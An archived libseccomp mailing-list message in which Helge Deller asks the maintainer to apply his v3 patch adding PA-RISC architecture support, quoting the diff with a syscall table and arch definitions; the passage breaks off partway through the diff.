 LDTArd8D8KfRwMAAjGmPZODoXrTYnXCVrFqBtuep/pIvcEM2e/j+b3EGzPLxcFN8noYNxK2mA
 KWuRHh1LsfkvHc5wCO6MdGFlM44Y/1iDnsd5O5CMxDxECYJlt5DbHNgk42HINv0Kugk6GNJIL
 CsQp9jOHB1VshlOl4RO4xsk15r7GU07dN6XLTQqce/UYuaQTI8kunaOXWoctX+fyeeF6+iMk3
 sfUg2ckFNS0JUmEueYMPdJ+Mjoiqyi9+4sneW1UIDRetx2rs9a4Z2tc+gZr+SUzTUbbU+DYG7
 T3lpKqE3om0fuFPVA7TZl614M5koHdyZz2vTNyHu+U+7wEMhDC8mJrR875EaLwwSDhkcpoxay
 nX69z/bJi9VIJ2vP9loXyG94g1UYqEZmfPOkUNlhe+z1Pq7lGpmpakKv8yg4f5M5A0BL5UgC4
 j2gqBOwzcMOi9NgmsXDddv8sQkRtvKnTeCXQSWQORWKINzGP0t1sdR3WAcUoejK+SXiS6NjP 
X-Original-Sender: deller@gmx.de
X-Original-Authentication-Results: gmr-mx.google.com;       spf=pass
 (google.com: domain of deller@gmx.de designates 212.227.17.21 as permitted
 sender) smtp.mailfrom=deller@gmx.de
Precedence: list
Mailing-list: list libseccomp@googlegroups.com; contact libseccomp+owners@googlegroups.com
List-ID: <libseccomp.googlegroups.com>
X-Spam-Checked-In-Group: libseccomp@googlegroups.com
X-Google-Group-Id: 473669215327
List-Post: <https://groups.google.com/group/libseccomp/post>, <mailto:libseccomp@googlegroups.com>
List-Help: <https://groups.google.com/support/>, <mailto:libseccomp+help@googlegroups.com>
List-Archive: <https://groups.google.com/group/libseccomp
List-Subscribe: <https://groups.google.com/group/libseccomp/subscribe>, <mailto:libseccomp+subscribe@googlegroups.com>
List-Unsubscribe: <mailto:googlegroups-manage+473669215327+unsubscribe@googlegroups.com>,
 <https://groups.google.com/group/libseccomp/subscribe>
Xref: news.gmane.org gmane.comp.lib.libseccomp.general:1359 gmane.linux.ports.parisc:26743
Archived-At: <http://permalink.gmane.org/gmane.comp.lib.libseccomp.general/1359>

Hi Paul,

On 15.04.2016 17:11, Helge Deller wrote:
> This patch (v3) adds support for the parisc and parisc64 architectures
> to libseccomp.

Linux kernel 4.5.2-1 with full seccomp support for parisc/hppa is
now publically available in debian:
https://buildd.debian.org/status/package.php?p=linux&suite=sid

Any chance to get this patch (v3) applied to the libseccomp git tree now ?

Thanks,
Helge

> I didn't split up the patch, because it's pretty trivial.
> Those parisc-specific files gets added:
>  src/arch-parisc-syscalls.c
>  src/arch-parisc.c
>  src/arch-parisc.h
>  src/arch-parisc64.c
> 
> All other changes are trivial because they simply add parisc-specific
> case statements in variouse switch statements.
> 
> I did ran a "make check" on parisc and all testcases suceeded.
> All live testcases succeed as well when running "./regression -T live".
> 
> The patch applies cleanly to current libseccomp git head.
> 
> Changes between v2 and v1 of this patch:
> - Enabled seccomp mode 2 regression tests on parisc. Kernel support for hppa
>   was added in kernel 4.6-rc1 and backported into the kernel v4.5.2 stable
>   series.
> 
> Changes between v3 and v2 of this patch:
> - Stipped out patch which reports if a check was skipped because valgrind
>   isn't installed.
> - Added tuxcall pseudo syscall for 19-sim-missing_syscalls testcase
> - Added sysmips pseudo syscall for 29-sim-pseudo_syscall testcase
> 
> Thanks,
> Helge
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> 
> diffstat:
>  include/seccomp.h.in              |    6 
>  src/Makefile.am                   |    2 
>  src/arch-parisc-syscalls.c        |  424 ++++++++++++++++++++++++++++++++++++++
>  src/arch-parisc.c                 |   22 +
>  src/arch-parisc.h                 |   38 +++
>  src/arch-parisc64.c               |   22 +
>  src/arch-syscall-dump.c           |    5 
>  src/arch.c                        |   13 +
>  src/gen_pfc.c                     |    4 
>  src/python/libseccomp.pxd         |    2 
>  src/python/seccomp.pyx            |    8 
>  tests/26-sim-arch_all_be_basic.c  |    6 
>  tests/26-sim-arch_all_be_basic.py |    2 
>  tests/regression                  |    3 
>  tools/scmp_arch_detect.c          |    6 
>  tools/scmp_bpf_sim.c              |    4 
>  tools/util.c                      |    4 
>  17 files changed, 570 insertions(+), 1 deletion(-)
> 
> diff --git a/include/seccomp.h.in b/include/seccomp.h.in
> index 6bf6751..5b9057f 100644
> --- a/include/seccomp.h.in
> +++ b/include/seccomp.h.in
> @@ -185,6 +185,12 @@ struct scmp_arg_cmp {
>  #define SCMP_ARCH_S390X		AUDIT_ARCH_S390X
>  
>  /**
> + * The PA-RISC hppa architecture tokens
> + */
> +#define SCMP_ARCH_PARISC	AUDIT_ARCH_PARISC
> +#define SCMP_ARCH_PARISC64	AUDIT_ARCH_PARISC64
> +
> +/**
>   * Convert a syscall name into the associated syscall number
>   * @param x the syscall name
>   */
> diff --git a/src/Makefile.am b/src/Makefile.am
> index c2d805e..dcc79d9 100644
> --- a/src/Makefile.am
> +++ b/src/Makefile.am
> @@ -35,6 +35,8 @@ SOURCES_ALL = \
>  	arch-mips.h arch-mips.c arch-mips-syscalls.c \
>  	arch-mips64.h arch-mips64.c arch-mips64-syscalls.c \
>  	arch-mips64n32.h arch-mips64n32.c arch-mips64n32-syscalls.c \
> +	arch-parisc.h arch-parisc.c arch-parisc-syscalls.c \
> +	arch-parisc64.h arch-parisc64.c \
>  	arch-ppc.h arch-ppc.c arch-ppc-syscalls.c \
>  	arch-ppc64.h arch-ppc64.c arch-ppc64-syscalls.c \
>  	arch-s390.h arch-s390.c arch-s390-syscalls.c \
> diff --git a/src/arch-parisc-syscalls.c b/src/arch-parisc-syscalls.c
> new file mode 100644
> index 0000000..78474e1
> --- /dev/null
> +++ b/src/arch-parisc-syscalls.c
> @@ -0,0 +1,424 @@
> +/*
> + * Copyright 2016
> + * Author: Helge Deller <deller@gmx.de>
> + */
> +
> +#include <string.h>
> +
> +#include <seccomp.h>
> +
> +#include "arch.h"
> +#include "arch-parisc.h"
> +
> +#ifndef __NR_Linux
> +#define __NR_Linux 0
> +#endif
> +
> +/* NOTE: based on Linux 4.3 */
> +const struct arch_syscall_def parisc_syscall_table[] = { \
> +	{ "_llseek",	(__NR_Linux + 140) },
> +	{ "_newselect",	(__NR_Linux + 142) },
> +	{ "_sysctl",	(__NR_Linux + 149) },
> +	{ "accept4",	(__NR_Linux + 320) },
> +	{ "accept",	(__NR_Linux + 35) },
> +	{ "access",	(__NR_Linux + 33) },
> +	{ "acct",	(__NR_Linux + 51) },
> +	{ "acl_get",	(__NR_Linux + 204) },
> +	{ "acl_set",	(__NR_Linux + 205) },
> +	{ "add_key",	(__NR_Linux + 264) },
> +	{ "adjtimex",	(__NR_Linux + 124) },
> +	{ "afs_syscall",	(__NR_Linux + 137) },
> +	{ "alarm",	(__NR_Linux + 27) },
> +	{ "alloc_hugepages",	(__NR_Linux + 220) },
> +	{ "attrctl",	(__NR_Linux + 203) },
> +	{ "bdflush",	(__NR_Linux + 134) },
> +	{ "bind",	(__NR_Linux + 22) },
> +	{ "bpf",	(__NR_Linux + 341) },
> +	{ "brk",	(__NR_Linux + 45) },
> +	{ "capget",	(__NR_Linux + 106) },
> +	{ "capset",	(__NR_Linux + 107) },
> +	{ "chdir",	(__NR_Linux + 12) },
> +	{ "chmod",	(__NR_Linux + 15) },
> +	{ "chown",	(__NR_Linux + 180) },
> +	{ "chroot",	(__NR_Linux + 61) },
> +	{ "clock_adjtime",	(__NR_Linux + 324) },
> +	{ "clock_getres",	(__NR_Linux + 257) },
> +	{ "clock_gettime",	(__NR_Linux + 256) },
> +	{ "clock_nanosleep",	(__NR_Linux + 258) },
> +	{ "clock_settime",	(__NR_Linux + 255) },
> +	{ "clone",	(__NR_Linux + 120) },
> +	{ "close",	(__NR_Linux + 6) },
> +	{ "connect",	(__NR_Linux + 31) },
> +	{ "create_module",	(__NR_Linux + 127) },
> +	{ "creat",	(__NR_Linux + 8) },
> +	{ "delete_module",	(__NR_Linux + 129) },
> +	{ "dup2",	(__NR_Linux + 63) },
> +	{ "dup3",	(__NR_Linux + 312) },
> +	{ "dup",	(__NR_Linux + 41) },
> +	{ "epoll_create1",	(__NR_Linux + 311) },
> +	{ "epoll_create",	(__NR_Linux + 224) },
> +	{ "epoll_ctl",	(__NR_Linux + 225) },
> +	{ "epoll_pwait",	(__NR_Linux + 297) },
> +	{ "epoll_wait",	(__NR_Linux + 226) },
> +	{ "eventfd2",	(__NR_Linux + 310) },
> +	{ "eventfd",	(__NR_Linux + 304) },
> +	{ "execveat",	(__NR_Linux + 342) },
> +	{ "execve",	(__NR_Linux + 11) },
> +	{ "exit_group",	(__NR_Linux + 222) },
> +	{ "exit",	(__NR_Linux + 1) },
> +	{ "faccessat",	(__NR_Linux + 287) },
> +	{ "fadvise64_64",	(__NR_Linux + 236) },
> +	{ "fallocate",	(__NR_Linux + 305) },
> +	{ "fanotify_init",	(__NR_Linux + 322) },
> +	{ "fanotify_mark",	(__NR_Linux + 323) },
> +	{ "fchdir",	(__NR_Linux + 133) },
> +	{ "fchmodat",	(__NR_Linux + 286) },
> +	{ "fchmod",	(__NR_Linux + 94) },
> +	{ "fchownat",	(__NR_Linux + 278) },
> +	{ "fchown",	(__NR_Linux + 95) },
> +	{ "fcntl64",	(__NR_Linux + 202) },
> +	{ "fcntl",	(__NR_Linux + 55) },
> +	{ "fdatasync",	(__NR_Linux + 148) },
> +	{ "fgetxattr",	(__NR_Linux + 243) },
> +	{ "finit_module",	(__NR_Linux + 333) },
> +	{ "flistxattr",	(__NR_Linux + 246) },
> +	{ "flock",	(__NR_Linux + 143) },
> +	{ "fork",	(__NR_Linux + 2) },
> +	{ "free_hugepages",	(__NR_Linux + 221) },
> +	{ "fremovexattr",	(__NR_Linux + 249) },
> +	{ "fsetxattr",	(__NR_Linux + 240) },
> +	{ "fstat64",	(__NR_Linux + 112) },
> +	{ "fstatat64",	(__NR_Linux + 280) },
> +	{ "fstatfs64",	(__NR_Linux + 299) },
> +	{ "fstatfs",	(__NR_Linux + 100) },
> +	{ "fstat",	(__NR_Linux + 28) },
> +	{ "fsync",	(__NR_Linux + 118) },
> +	{ "ftruncate64",	(__NR_Linux + 200) },
> +	{ "ftruncate",	(__NR_Linux + 93) },
> +	{ "futex",	(__NR_Linux + 210) },
> +	{ "futimesat",	(__NR_Linux + 279) },
> +	{ "getcpu",	(__NR_Linux + 296) },
> +	{ "getcwd",	(__NR_Linux + 110) },
> +	{ "getdents64",	(__NR_Linux + 201) },
> +	{ "getdents",	(__NR_Linux + 141) },
> +	{ "getegid",	(__NR_Linux + 50) },
> +	{ "geteuid",	(__NR_Linux + 49) },
> +	{ "getgid",	(__NR_Linux + 47) },
> +	{ "getgroups",	(__NR_Linux + 80) },
> +	{ "getitimer",	(__NR_Linux + 105) },
> +	{ "get_kernel_syms",	(__NR_Linux + 130) },
> +	{ "get_mempolicy",	(__NR_Linux + 261) },
> +	{ "getpeername",	(__NR_Linux + 53) },
> +	{ "getpgid",	(__NR_Linux + 132) },
> +	{ "getpgrp",	(__NR_Linux + 65) },
> +	{ "getpid",	(__NR_Linux + 20) },
> +	{ "getpmsg",	(__NR_Linux + 196) },
> +	{ "getppid",	(__NR_Linux + 64) },
> +	{ "getpriority",	(__NR_Linux + 96) },
> +	{ "getrandom",	(__NR_Linux + 339) },
> +	{ "getresgid",	(__NR_Linux + 171) },
> +	{ "getresuid",	(__NR_Linux + 165) },
> +	{ "getrlimit",	(__NR_Linux + 76) },
> +	{ "get_robust_list",	(__NR_Linux + 290) },
> +	{ "getrusage",	(__NR_Linux + 77) },
> +	{ "getsid",	(__NR_Linux + 147) },
> +	{ "getsockname",	(__NR_Linux + 44) },
> +	{ "getsockopt",	(__NR_Linux + 182) },
> +	{ "get_thread_area",	(__NR_Linux + 214) },
> +	{ "gettid",	(__NR_Linux + 206) },
> +	{ "gettimeofday",	(__NR_Linux + 78) },
> +	{ "getuid",	(__NR_Linux + 24) },
> +	{ "getxattr",	(__NR_Linux + 241) },
> +	{ "init_module",	(__NR_Linux + 128) },
> +	{ "inotify_add_watch",	(__NR_Linux + 270) },
> +	{ "inotify_init1",	(__NR_Linux + 314) },
> +	{ "inotify_init",	(__NR_Linux + 269) },
> +	{ "inotify_rm_watch",	(__NR_Linux + 271) },
> +	{ "io_cancel",	(__NR_Linux + 219) },
> +	{ "ioctl",	(__NR_Linux + 54) },
> +	{ "io_destroy",	(__NR_Linux + 216) },
> +	{ "io_getevents",	(__NR_Linux + 217) },
> +	{ "ioprio_get",	(__NR_Linux + 268) },
> +	{ "ioprio_set",	(__NR_Linux + 267) },
> +	{ "io_setup",	(__NR_Linux + 215) },
> +	{ "io_submit",	(__NR_Linux + 218) },
> +	{ "kcmp",	(__NR_Linux + 332) },
> +	{ "kexec_load",	(__NR_Linux + 300) },
> +	{ "keyctl",	(__NR_Linux + 266) },
> +	{ "kill",	(__NR_Linux + 37) },
> +	{ "lchown",	(__NR_Linux + 16) },
> +	{ "lgetxattr",	(__NR_Linux + 242) },
> +	{ "linkat",	(__NR_Linux + 283) },
> +	{ "link",	(__NR_Linux + 9) },
> +	{ "listen",	(__NR_Linux + 32) },
> +	{ "listxattr",	(__NR_Linux + 244) },
> +	{ "llistxattr",	(__NR_Linux + 245) },
> +	{ "lookup_dcookie",	(__NR_Linux + 223) },
> +	{ "lremovexattr",	(__NR_Linux + 248) },
> +	{ "lseek",	(__NR_Linux + 19) },
> +	{ "lsetxattr",	(__NR_Linux + 239) },
> +	{ "lstat64",	(__NR_Linux + 198) },
> +	{ "lstat",	(__NR_Linux + 84) },
> +	{ "madvise",	(__NR_Linux + 119) },
> +	{ "mbind",	(__NR_Linux + 260) },
> +	{ "memfd_create",	(__NR_Linux + 340) },
> +	{ "migrate_pages",	(__NR_Linux + 272) },
> +	{ "mincore",	(__NR_Linux + 72) },
> +	{ "mkdirat",	(__NR_Linux + 276) },
> +	{ "mkdir",	(__NR_Linux + 39) },
> +	{ "mknodat",	(__NR_Linux + 277) },
> +	{ "mknod",	(__NR_Linux + 14) },
> +	{ "mlockall",	(__NR_Linux + 152) },
> +	{ "mlock",	(__NR_Linux + 150) },
> +	{ "mmap2",	(__NR_Linux + 89) },
> +	{ "mmap",	(__NR_Linux + 90) },
> +	{ "mount",	(__NR_Linux + 21) },
> +	{ "move_pages",	(__NR_Linux + 295) },
> +	{ "mprotect",	(__NR_Linux + 125) },
> +	{ "mq_getsetattr",	(__NR_Linux + 234) },
> +	{ "mq_notify",	(__NR_Linux + 233) },
> +	{ "mq_open",	(__NR_Linux + 229) },
> +	{ "mq_timedreceive",	(__NR_Linux + 232) },
> +	{ "mq_timedsend",	(__NR_Linux + 231) },
> +	{ "mq_unlink",	(__NR_Linux + 230) },
> +	{ "mremap",	(__NR_Linux + 163) },
> +	{ "msgctl",	(__NR_Linux + 191) },
> +	{ "msgget",	(__NR_Linux + 190) },
> +	{ "msgrcv",	(__NR_Linux + 189) },
> +	{ "msgsnd",	(__NR_Linux + 188) },
> +	{ "msync",	(__NR_Linux + 144) },
> +	{ "munlockall",	(__NR_Linux + 153) },
> +	{ "munlock",	(__NR_Linux + 151) },
> +	{ "munmap",	(__NR_Linux + 91) },
> +	{ "name_to_handle_at",	(__NR_Linux + 325) },
> +	{ "nanosleep",	(__NR_Linux + 162) },
> +	{ "nfsservctl",	(__NR_Linux + 169) },
> +	{ "nice",	(__NR_Linux + 34) },
> +	{ "openat",	(__NR_Linux + 275) },
> +	{ "open_by_handle_at",	(__NR_Linux + 326) },
> +	{ "open",	(__NR_Linux + 5) },
> +	{ "pause",	(__NR_Linux + 29) },
> +	{ "perf_event_open",	(__NR_Linux + 318) },
> +	{ "personality",	(__NR_Linux + 136) },
> +	{ "pipe2",	(__NR_Linux + 313) },
> +	{ "pipe",	(__NR_Linux + 42) },
> +	{ "pivot_root",	(__NR_Linux + 67) },
> +	{ "poll",	(__NR_Linux + 168) },
> +	{ "ppoll",	(__NR_Linux + 274) },
> +	{ "prctl",	(__NR_Linux + 172) },
> +	{ "pread64",	(__NR_Linux + 108) },
> +	{ "preadv",	(__NR_Linux + 315) },
> +	{ "prlimit64",	(__NR_Linux + 321) },
> +	{ "process_vm_readv",	(__NR_Linux + 330) },
> +	{ "process_vm_writev",	(__NR_Linux + 331) },
> +	{ "pselect6",	(__NR_Linux + 273) },
> +	{ "ptrace",	(__NR_Linux + 26) },
> +	{ "putpmsg",	(__NR_Linux + 197) },
> +	{ "pwrite64",	(__NR_Linux + 109) },
> +	{ "pwritev",	(__NR_Linux + 316) },
> +	{ "query_module",	(__NR_Linux + 167) },
> +	{ "quotactl",	(__NR_Linux + 131) },
> +	{ "readahead",	(__NR_Linux + 207) },
> +	{ "readlinkat",	(__NR_Linux + 285) },
> +	{ "readlink",	(__NR_Linux + 85) },
> +	{ "read",	(__NR_Linux + 3) },
> +	{ "readv",	(__NR_Linux + 145) },
> +	{ "reboot",	(__NR_Linux + 88) },
> +	{ "recvfrom",	(__NR_Linux + 123) },
> +	{ "recvmmsg",	(__NR_Linux + 319) },
> +	{ "recvmsg",	(__NR_Linux + 184) },
> +	{ "recv",	(__NR_Linux + 98) },
> +	{ "remap_file_pages",	(__NR_Linux + 227) },
> +	{ "removexattr",	(__NR_Linux + 247) },
> +	{ "renameat2",	(__NR_Linux + 337) },
> +	{ "renameat",	(__NR_Linux + 282) },
> +	{ "rename",	(__NR_Linux + 38) },
> +	{ "request_key",	(__NR_Linux + 265) },
> +	{ "restart_syscall",	(__NR_Linux + 0) },
> +	{ "rmdir",	(__NR_Linux + 40) },
> +	{ "rt_sigaction",	(__NR_Linux + 174) },
> +	{ "rt_sigpending",	(__NR_Linux + 176) },
> +	{ "rt_sigprocmask",	(__NR_Linux + 175) },
> +	{ "rt_sigqueueinfo",	(__NR_Linux + 178) },
> +	{ "rt_sigreturn",	(__NR_Linux + 173) },
> +	{ "rt_sigsuspend",	(__NR_Linux + 179) },
> +	{ "rt_sigtimedwait",	(__NR_Linux + 177) },
> +	{ "rt_tgsigqueueinfo",	(__NR_Linux + 317) },
> +	{ "sched_getaffinity",	(__NR_Linux + 212) },
> +	{ "sched_getattr",	(__NR_Linux + 335) },
> +	{ "sched_getparam",	(__NR_Linux + 155) },
> +	{ "sched_get_priority_max",	(__NR_Linux + 159) },
> +	{ "sched_get_priority_min",	(__NR_Linux + 160) },
> +	{ "sched_getscheduler",	(__NR_Linux + 157) },
> +	{ "sched_rr_get_interval",	(__NR_Linux + 161) },
> +	{ "sched_setaffinity",	(__NR_Linux + 211) },
> +	{ "sched_setattr",	(__NR_Linux + 334) },
> +	{ "sched_setparam",	(__NR_Linux + 154) },
> +	{ "sched_setscheduler",	(__NR_Linux + 156) },
> +	{ "sched_yield",	(__NR_Linux + 158) },
> +	{ "seccomp",	(__NR_Linux + 338) },
> +	{ "semctl",	(__NR_Linux + 187) },
> +	{ "semget",	(__NR_Linux + 186) },
> +	{ "semop",	(__NR_Linux + 185) },
> +	{ "semtimedop",	(__NR_Linux + 228) },
> +	{ "sendfile64",	(__NR_Linux + 209) },
> +	{ "sendfile",	(__NR_Linux + 122) },
> +	{ "sendmmsg",	(__NR_Linux + 329) },
> +	{ "sendmsg",	(__NR_Linux + 183) },
> +	{ "send",	(__NR_Linux + 58) },
> +	{ "sendto",	(__NR_Linux + 82) },
> +	{ "setdomainname",	(__NR_Linux + 121) },
> +	{ "setfsgid",	(__NR_Linux + 139) },
> +	{ "setfsuid",	(__NR_Linux + 138) },
> +	{ "setgid",	(__NR_Linux + 46) },
> +	{ "setgroups",	(__NR_Linux + 81) },
> +	{ "sethostname",	(__NR_Linux + 74) },
> +	{ "setitimer",	(__NR_Linux + 104) },
> +	{ "set_mempolicy",	(__NR_Linux + 262) },
> +	{ "setns",	(__NR_Linux + 328) },
> +	{ "setpgid",	(__NR_Linux + 57) },
> +	{ "setpriority",	(__NR_Linux + 97) },
> +	{ "setregid",	(__NR_Linux + 71) },
> +	{ "setresgid",	(__NR_Linux + 170) },
> +	{ "setresuid",	(__NR_Linux + 164) },
> +	{ "setreuid",	(__NR_Linux + 70) },
> +	{ "setrlimit",	(__NR_Linux + 75) },
> +	{ "set_robust_list",	(__NR_Linux + 289) },
> +	{ "setsid",	(__NR_Linux + 66) },
> +	{ "setsockopt",	(__NR_Linux + 181) },
> +	{ "set_thread_area",	(__NR_Linux + 213) },
> +	{ "set_tid_address",	(__NR_Linux + 237) },
> +	{ "settimeofday",	(__NR_Linux + 79) },
> +	{ "setuid",	(__NR_Linux + 23) },
> +	{ "setxattr",	(__NR_Linux + 238) },
> +	{ "sgetmask",	(__NR_Linux + 68) },
> +	{ "shmat",	(__NR_Linux + 192) },
> +	{ "shmctl",	(__NR_Linux + 195) },
> +	{ "shmdt",	(__NR_Linux + 193) },
> +	{ "shmget",	(__NR_Linux + 194) },
> +	{ "shutdown",	(__NR_Linux + 117) },
> +	{ "sigaltstack",	(__NR_Linux + 166) },
> +	{ "signalfd4",	(__NR_Linux + 309) },
> +	{ "signalfd",	(__NR_Linux + 302) },
> +	{ "signal",	(__NR_Linux + 48) },
> +	{ "sigpending",	(__NR_Linux + 73) },
> +	{ "sigprocmask",	(__NR_Linux + 126) },
> +	{ "socket",	(__NR_Linux + 17) },
> +	{ "socketpair",	(__NR_Linux + 56) },
> +	{ "splice",	(__NR_Linux + 291) },
> +	{ "ssetmask",	(__NR_Linux + 69) },
> +	{ "stat64",	(__NR_Linux + 101) },
> +	{ "statfs64",	(__NR_Linux + 298) },
> +	{ "statfs",	(__NR_Linux + 99) },
> +	{ "stat",	(__NR_Linux + 18) },
> +	{ "stime",	(__NR_Linux + 25) },
> +	{ "swapoff",	(__NR_Linux + 115) },
> +	{ "swapon",	(__NR_Linux + 87) },
> +	{ "symlinkat",	(__NR_Linux + 284) },
> +	{ "symlink",	(__NR_Linux + 83) },
> +	{ "sync_file_range",	(__NR_Linux + 292) },
> +	{ "syncfs",	(__NR_Linux + 327) },
> +	{ "sync",	(__NR_Linux + 36) },
> +	{ "sysfs",	(__NR_Linux + 135) },
> +	{ "sysmips",	__PNR_sysmips },
> +	{ "sysinfo",	(__NR_Linux + 116) },
> +	{ "syslog",	(__NR_Linux + 103) },
> +	{ "tee",	(__NR_Linux + 293) },
> +	{ "tgkill",	(__NR_Linux + 259) },
> +	{ "time",	(__NR_Linux + 13) },
> +	{ "timer_create",	(__NR_Linux + 250) },
> +	{ "timer_delete",	(__NR_Linux + 254) },
> +	{ "timerfd_create",	(__NR_Linux + 306) },
> +	{ "timerfd_gettime",	(__NR_Linux + 308) },
> +	{ "timerfd",	(__NR_Linux + 303) },
> +	{ "timerfd_settime",	(__NR_Linux + 307) },
> +	{ "timer_getoverrun",	(__NR_Linux + 253) },
> +	{ "timer_gettime",	(__NR_Linux + 252) },
> +	{ "timer_settime",	(__NR_Linux + 251) },
> +	{ "times",	(__NR_Linux + 43) },
> +	{ "tkill",	(__NR_Linux + 208) },
> +	{ "truncate64",	(__NR_Linux + 199) },
> +	{ "truncate",	(__NR_Linux + 92) },
> +	{ "tuxcall",	__PNR_tuxcall },
> +	{ "umask",	(__NR_Linux + 60) },
> +	{ "umount2",	(__NR_Linux + 52) },
> +	{ "uname",	(__NR_Linux + 59) },
> +	{ "unlinkat",	(__NR_Linux + 281) },
> +	{ "unlink",	(__NR_Linux + 10) },
> +	{ "unshare",	(__NR_Linux + 288) },
> +	{ "uselib",	(__NR_Linux + 86) },
> +	{ "ustat",	(__NR_Linux + 62) },
> +	{ "utime",	(__NR_Linux + 30) },
> +	{ "utimensat",	(__NR_Linux + 301) },
> +	{ "utimes",	(__NR_Linux + 336) },
> +	{ "vfork",	(__NR_Linux + 113) },
> +	{ "vhangup",	(__NR_Linux + 111) },
> +	{ "vmsplice",	(__NR_Linux + 294) },
> +	{ "vserver",	(__NR_Linux + 263) },
> +	{ "wait4",	(__NR_Linux + 114) },
> +	{ "waitid",	(__NR_Linux + 235) },
> +	{ "waitpid",	(__NR_Linux + 7) },
> +	{ "write",	(__NR_Linux + 4) },
> +	{ "writev",	(__NR_Linux + 146) },
> +	{ NULL, __NR_SCMP_ERROR },
> +};
> +
> +/**
> + * Resolve a syscall name to a number
> + * @param name the syscall name
> + *
> + * Resolve the given syscall name to the syscall number using the syscall table.
> + * Returns the syscall number on success, including negative pseudo syscall
> + * numbers; returns __NR_SCMP_ERROR on failure.
> + *
> + */
> +int parisc_syscall_resolve_name(const char *name)
> +{
> +	unsigned int iter;
> +	const struct arch_syscall_def *table = parisc_syscall_table;
> +
> +	/* XXX - plenty of room for future improvement here */
> +	for (iter = 0; table[iter].name != NULL; iter++) {
> +		if (strcmp(name, table[iter].name) == 0)
> +			return table[iter].num;
> +	}
> +
> +	return __NR_SCMP_ERROR;
> +}
> +
> +/**
> + * Resolve a syscall number to a name
> + * @param num the syscall number
> + *
> + * Resolve the given syscall number to the syscall name using the syscall table.
> + * Returns a pointer to the syscall name string on success, including pseudo
> + * syscall names; returns NULL on failure.
> + *
> + */
> +const char *parisc_syscall_resolve_num(int num)
> +{
> +	unsigned int iter;
> +	const struct arch_syscall_def *table = parisc_syscall_table;
> +
> +	/* XXX - plenty of room for future improvement here */
> +	for (iter = 0; table[iter].num != __NR_SCMP_ERROR; iter++) {
> +		if (num == table[iter].num)
> +			return table[iter].name;
> +	}
> +
> +	return NULL;
> +}
> +
> +/**
> + * Iterate through the syscall table and return the syscall name
> + * @param spot the offset into the syscall table
> + *
> + * Return the syscall name at position @spot or NULL on failure.  This function
> + * should only ever be used internally by libseccomp.
> + *
> + */
> +const char *parisc_syscall_iterate_name(unsigned int spot)
> +{
> +	/* XXX - no safety checks here */
> +	return parisc_syscall_table[spot].name;
> +}
> diff --git a/src/arch-parisc.c b/src/arch-parisc.c
> new file mode 100644
> index 0000000..6407f8a
> --- /dev/null
> +++ b/src/arch-parisc.c
> @@ -0,0 +1,22 @@
> +/*
> + * Copyright 2016
> + * Author: Helge Deller <deller@gmx.de>
> + */
> +
> +#include <stdlib.h>
> +#include <errno.h>
> +#include <linux/audit.h>
> +
> +#include "arch.h"
> +#include "arch-parisc.h"
> +
> +const struct arch_def arch_def_parisc = {
> +	.token = SCMP_ARCH_PARISC,
> +	.token_bpf = AUDIT_ARCH_PARISC,
> +	.size = ARCH_SIZE_32,
> +	.endian = ARCH_ENDIAN_BIG,
> +	.syscall_resolve_name = parisc_syscall_resolve_name,
> +	.syscall_resolve_num = parisc_syscall_resolve_num,
> +	.syscall_rewrite = NULL,
> +	.rule_add = NULL,
> +};
> diff --git a/src/arch-parisc.h b/src/arch-parisc.h
> new file mode 100644
> index 0000000..b9fe1df
> --- /dev/null
> +++ b/src/arch-parisc.h
> @@ -0,0 +1,38 @@
> +/**
> + * Enhanced Seccomp PARISC Specific Code
> + *
> + * Copyright (c) 2016 Helge Deller <deller@gmx.de>
> + *
> + */
> +
> +/*
> + * This library is free software; you can redistribute it and/or modify it
> + * under the terms of version 2.1 of the GNU Lesser General Public License as
> + * published by the Free Software Foundation.
> + *
> + * This library is distributed in the hope that it will be useful, but WITHOUT
> + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
> + * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public License
> + * for more details.
> + *
> + * You should have received a copy of the GNU Lesser General Public License
> + * along with this library; if not, see <http://www.gnu.org/licenses>.
> + */
> +
> +#ifndef _ARCH_PARISC_H
> +#define _ARCH_PARISC_H
> +
> +#include <inttypes.h>
> +
> +#include "arch.h"
> +#include "system.h"
> +
> +extern const struct arch_def arch_def_parisc;
> +extern const struct arch_def arch_def_parisc64;
> +
> +int parisc_syscall_resolve_name(const char *name);
> +const char *parisc_syscall_resolve_num(int num);
> +
> +const char *parisc_syscall_iterate_name(unsigned int spot);
> +
> +#endif
> diff --git a/src/arch-parisc64.c b/src/arch-parisc64.c
> new file mode 100644
> index 0000000..b75a182
> --- /dev/null
> +++ b/src/arch-parisc64.c
> @@ -0,0 +1,22 @@
> +/*
> + * Copyright 2016
> + * Author: Helge Deller <deller@gmx.de>
> +*/
> +
> +#include <stdlib.h>
> +#include <errno.h>
> +#include <linux/audit.h>
> +
> +#include "arch.h"
> +#include "arch-parisc.h"
> +
> +const struct arch_def arch_def_parisc64 = {
> +	.token = SCMP_ARCH_PARISC64,
> +	.token_bpf = AUDIT_ARCH_PARISC64,
> +	.size = ARCH_SIZE_64,
> +	.endian = ARCH_ENDIAN_BIG,
> +	.syscall_resolve_name = parisc_syscall_resolve_name,
> +	.syscall_resolve_num = parisc_syscall_resolve_num,
> +	.syscall_rewrite = NULL,
> +	.rule_add = NULL,
> +};
> diff --git a/src/arch-syscall-dump.c b/src/arch-syscall-dump.c
> index 636fd9a..c95b899 100644
> --- a/src/arch-syscall-dump.c
> +++ b/src/arch-syscall-dump.c
> @@ -38,6 +38,7 @@
>  #include "arch-mips64.h"
>  #include "arch-mips64n32.h"
>  #include "arch-aarch64.h"
> +#include "arch-parisc.h"
>  #include "arch-ppc.h"
>  #include "arch-ppc64.h"
>  #include "arch-s390.h"
> @@ -116,6 +117,10 @@ int main(int argc, char *argv[])
>  		case SCMP_ARCH_MIPSEL64N32:
>  			sys_name = mips64n32_syscall_iterate_name(iter);
>  			break;
> +		case SCMP_ARCH_PARISC:
> +		case SCMP_ARCH_PARISC64:
> +			sys_name = parisc_syscall_iterate_name(iter);
> +			break;
>  		case SCMP_ARCH_PPC:
>  			sys_name = ppc_syscall_iterate_name(iter);
>  			break;
> diff --git a/src/arch.c b/src/arch.c
> index 0f24d1c..f5a898d 100644
> --- a/src/arch.c
> +++ b/src/arch.c
> @@ -38,6 +38,7 @@
>  #include "arch-mips.h"
>  #include "arch-mips64.h"
>  #include "arch-mips64n32.h"
> +#include "arch-parisc.h"
>  #include "arch-ppc.h"
>  #include "arch-ppc64.h"
